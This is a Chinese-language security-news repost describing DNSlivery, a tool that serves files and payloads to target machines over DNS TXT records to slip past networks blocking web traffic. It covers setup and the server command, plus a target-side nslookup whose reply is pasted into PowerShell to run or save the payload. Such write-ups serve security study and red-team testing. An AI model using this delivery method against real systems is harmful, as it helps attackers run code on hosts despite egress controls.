<small id="hjex1"></small>

        <tbody id="hjex1"></tbody>
      1. <menuitem id="hjex1"></menuitem>
        <menuitem id="hjex1"></menuitem>

          安基網 首頁 安全 安全學院 查看內容

          DNSlivery:利用DNS協議投遞文件和Payload

          2019-3-9 11:26| 投稿: xiaotiger |來自: 互聯網


          免責聲明:本站系公益性非盈利IT技術普及網,本文由投稿者轉載自互聯網的公開文章,文末均已注明出處,其內容和圖片版權歸原網站或作者所有,文中所述不代表本站觀點,若有無意侵權或轉載不當之處請從網站右下角聯系我們處理,謝謝合作!

          摘要: DNSlivery項目允許通過DNS協議將文件和Payload投遞到目標上。該項目最初的靈感來自于PowerDNS和Joff Thyer發布在Paul每周安全播客#590的技術片段。特性允許打印,執行或保存文件到目標不需要目標上的任何客戶端不需要完整的DNS服務器DNSlivery可以輕松地將文件/payload傳送到目標機器,且不需要目標上 ...

          DNSlivery項目允許通過DNS協議將文件和Payload投遞到目標上。該項目最初的靈感來自于PowerDNS和Joff Thyer發布在Paul每周安全播客#590的技術片段。

          特性

          允許打印,執行或保存文件到目標

          不需要目標上的任何客戶端

          不需要完整的DNS服務器

          DNSlivery可以輕松地將文件/payload傳送到目標機器,且不需要目標上安裝運行任何專用的客戶端軟件,這是web delivery無法做到的地方。這非常適用于禁止傳出Web流量或僅通過網絡代理進行檢查的受限環境。

          即使已存在更為完整的DNS隧道工具(如,dnscat2和iodine),它們都需要在目標上運行專用客戶端。問題是DNS可能并沒有辦法在這種受限的環境中提供客戶端。換句話說,使用這些工具構建DNS信道需要已建立DNS信道。

          相比之下,DNSlivery僅提供從服務器到目標的單向通信,但不需要任何專用客戶端來執行此操作。因此,如果你需要通過DNS構建可靠的雙向信道,請使用DNSlivery投遞一個更高級的DNS隧道工具到你的目標。

          工作原理

          與大多數DNS隧道工具一樣,DNSlivery使用TXT記錄并以base64表示形式存儲文件內容。然而,它不需要設置完整的DNS服務器,它使用scapy庫來偵聽傳入的DNS數據包以及響應。

          由于大多數文件不適合單個TXT記錄,DnsLivery將創建包含base64 chunk文件的多個有序記錄。作為一個例子,上圖說明了名為file的文件的第42個chunk的傳遞。

          為了檢索所有base64 chunk并將它們重新組合在一起而不需要目標上的專用客戶端,DnsLivery將為每個文件生成:

          一個簡單的明文 launcher

          一個可靠的base64編碼stager

          需要這兩個階段的投遞過程來向stager添加功能(s.a.處理丟失的DNS響應),否則這些功能將不適合單個TXT記錄。

          關于目標兼容性

          目前,僅支持PowerShell。但是,可以通過改進DNSlivery使其支持其他目標,如bash或python。如果這是你希望實現的功能,請告訴我@no0be。

          安裝要求

          DNSlivery不需要構建復雜的服務器架構。實際上,你只需滿足以下兩個簡單的要求即可:

          能夠在你的公共DNS區域中創建NS記錄

          擁有一臺能夠從Internet接收udp/53流量的Linux服務器

          設置

          DNS Zone

          第一步是通過在域中創建新的NS記錄,將子域委派給將運行DNSlivery的服務器。例如,我創建了以下記錄,將子域dnsd.no0.be委派給服務器vps.no0.be.

          dnsd IN NS vps.no0.be.
          

          如果你的區域由第三方提供商管理,請參閱其文檔以創建NS記錄。

          DNSlivery

          運行DNSlivery的唯一要求是python3及其scapy庫。

          git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
          pip install -r requirements.txt
          

          使用

          Server

          DNSlivery將提供給定目錄的所有文件(默認為pwd),并且需要以root權限運行以偵聽傳入的udp/53數據包。

          usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver
          DNSlivery - Easy files and payloads delivery over DNS
          positional arguments:
           interface interface to listen to DNS traffic
           domain FQDN name of the DNS zone
           nameserver FQDN name of the server running DNSlivery
          optional arguments:
           -h, --help show this help message and exit
           -p PATH, --path PATH path of directory to serve over DNS (default: pwd)
           -s SIZE, --size SIZE size in bytes of base64 chunks (default: 255)
           -v, --verbose increase verbosity
          

          示例:

          $ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery
          DNSlivery - Easy files and payloads delivery over DNS
          [*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
          [*] Listening for DNS queries...
          

          關于文件名規范化

          由于域名允許的字符集比UNIX文件名更具限制性(根據RFC1035),因此DNSlivery將在需要時執行規范化。

          示例:

          [*] File "My Awesome Powershell Script 
           .ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)
          

          注意,當前的規范化代碼并不完美,因為它不會考慮文件名重疊或大小限制。

          Target

          在目標上,首先通過請求其專用TXT記錄來檢索所需文件的launcher。支持以下三個launcher:

          行為Launcher描述打印[filename].print.[domain](默認)將傳送的文件打印到控制臺執行[filename].exec.[domain]執行傳送的文件(對腳本有用)保存[filename].save.[domain]將傳送的文件保存到磁盤(對二進制文件很有用)

          nslookup -type=txt [filename].[stager].[domain]
          

          然后,只需將DNS響應中引用的launcher復制并粘貼到PowerShell控制臺即可檢索目標上的文件。

          示例:

          *參考來源:GitHub,FB小編secist編譯,轉載請注明來自FreeBuf.COM



          小編推薦:欲學習電腦技術、系統維護、網絡管理、編程開發和安全攻防等高端IT技術,請 點擊這里 注冊賬號,公開課頻道價值萬元IT培訓教程免費學,讓您少走彎路、事半功倍,好工作升職加薪!

          本文出自:https://www.toutiao.com/a6666222004091224590/

          免責聲明:本站系公益性非盈利IT技術普及網,本文由投稿者轉載自互聯網的公開文章,文末均已注明出處,其內容和圖片版權歸原網站或作者所有,文中所述不代表本站觀點,若有無意侵權或轉載不當之處請從網站右下角聯系我們處理,謝謝合作!


          鮮花

          握手

          雷人

          路過

          雞蛋

          相關閱讀

          最新評論

           最新
          返回頂部
          北京赛车高手经验分享